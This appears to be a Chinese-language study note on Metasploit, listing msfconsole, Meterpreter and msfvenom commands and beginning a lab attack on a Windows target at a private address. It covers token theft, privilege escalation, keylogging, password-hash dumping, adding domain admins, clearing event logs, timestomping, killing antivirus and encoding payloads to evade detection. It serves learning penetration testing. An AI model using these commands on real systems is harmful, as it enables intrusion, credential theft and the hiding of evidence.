之前阅读了《Metasploit渗透测试指南》准备更深入了解。
MSF终端命令: (kali 中Tab键自动补全)
show exploits 列出框架中的渗透攻击模块
show payloads 列出框架中攻击载荷
show auxiliary 列出框架中辅助攻击模块
search name 查找框架中攻击模块
info 显示模块的信息
use name 选择要使用的模块
LHOST 要反弹回连的IP
RHOST 目标主机
set function 设置特定的配置参数
show options 显示模块中参数信息
show targets 列出攻击支持的目标平台
set payload 选择要使用的载荷
show advanced 列出所有高级配置
set autorunscript migrate -f 自动迁移到另一个进程
check 检测目标是否存在相应漏洞
exploit 执行攻击 参数-j 在后台运行 -z 完成攻击不进行会话交互 -e 指定编码 -h 帮助文档
session -l 显示可用会话 -l -v 显示会话详情 -s script在会话中运行特定脚本 -K 杀死所有会话
-c cmd 在所有会话上执行一个命令 -u sessionID 升级一个普通会话到meterpreter shell
db_create name 创建一个要使用的数据库
db_connect name 连接要使用的数据库
db_status 显示连接的数据库
workspace 连接的数据库中所有的工作空间
workspace name 要使用的工作空间
workspace -a name 创建一个工作空间
workspace -d name 删除指定的工作空间
workspace -D 删除所有
workspace -r old new 重命名工作空间
db_nmap 利用nmap扫描 数据存到数据库
Meterpreter命令:
help 帮助文档
run scriptname 运行meterpreter脚本 可到scripts/meterpreter目录下查看所有脚本名
sysinfo 显示出目标系统信息
ls 列出目标的文件和文件夹信息
use priv 加载特权提示扩展模块
ps 显示运行进程
migrate PID 迁移到一个指定的进程ID
use incognito 加载incognito 功能 窃取目标的令牌或是假冒用户
list_tokens -u 列出目标用户的令牌
list_tokens -g 列出目标主机用户组的可用令牌
impersonate_token DOMAIN_NAME\\USERNAME 假冒目标可用令牌
steal_token PID 盗取给定进程的可用令牌 进行令牌假冒
drop_token 停止假冒当前令牌
getsystem 提升到系统用户权限
shell 得到一个可用的交互shell
execute -f cmd.exe -i 执行cmd进行交互
execute -f cmd.exe -i -t 使用可用的令牌执行cmd命令
execute -f cmd.ext -i -H -t 使用令牌执行cmd并隐藏进程
rev2self 切换到目标 初始用户
reg command 在目标注册表中进行 增删查
setdesktop number 切换到另一用户界面
screenshot 目标截屏 开启摄像头 等等 可查看help
upload file 上传文件到目标
keyscan_dump 捕获键盘记录
keyscan_stop 停止键盘记录
getprivs 尽量多的获取目标特权
uictl enable keyboard/mouse 控制目标主机键盘和鼠标
background 将当前shell转为后台
hashdump 导出目标口令哈希值
use sniffer 加载嗅探模块
sniffer_interfaces 列出目标所有开放网络接口
sniffer_dump interfaceID pcapname 在目标主机上启动嗅探
sniffer_start interfaceID packet-buffer 在目标主机上针对特定范围的数据包缓存区启动嗅探
sniffer_stats interfaceID 获取正在实施嗅探网络接口的统计数据
sniffer_stop interfaceID 停止嗅探
add_user username password -h ip 在目标上添加一个用户
add_group_user "Domain Admins" username -h ip 将用户添加到目标主机的域管理组中
clearev 在目标上清除所有日志记录
timestomp 修改文件属性 (反取证)
reboot 重启目标PC
MSFvenom命令:
msfvenom -h 帮助文档
msfvenom -l payloads 列出所有可用载荷
msfvenom -p xxx/xxx/xxx/xxx --payload-options 列出选择的载荷可用配置
msfvenom --help-formats 列出生成的载荷所有保存格式
msfvenom -p xxx/xxx/xxx LHOST=IP LPORT=端口 -f exe -o name.exe 选择的平台 LHOST 回连的IP LPORT会连的端口 -o 生成的文件格式
-e x86/shikata_ga_nai -i 还可进行进行指定多次编码,也可以多次加壳 为了绕过选择平台沙箱检查
BufferRegister=ESI 还可以生成指定的shellcode 让寄存器指向shellcode
Meterpreter后渗透攻击命令:
use priv
getsystem 提权
hashdump 导出哈希值
run migrate 自动迁移到一个独立进程
run killav 杀掉目标杀毒进程
migrate 进程ID
keyscan_start 指定进程 键盘记录
keyscan_dump keyscan_stop
background 后台运行
run post/windows/escalate/bypassuac 绕过windows平台账户控制机制
run post/osx/gather/hashdump 导出OS-X系统的口令哈希值
run post/linux/gather/hashdump 导出linux系统的口令哈希值
——————————————————————————————————————————————————————
可在这查看发布的漏洞 https://www.exploit-db.com/remote/
windows平台的攻击:
靶机IP :192.168.1.103
kali 中启动postgresql service postgresq start
启动命令 > msfconsole 看到久违的画面
连接postgresql 数据库 这是metasploit 默认的数据库
msf > db_status
[*] postgresql connected to msftest
我已经连接了,没有连接可以创建数据库
db_connect postgres:toor@127.0.0.1/msftest #名字随便起 db_status 检查下连接
可以用nmap 扫描生产xml 在导入数据 直接在msf终端使用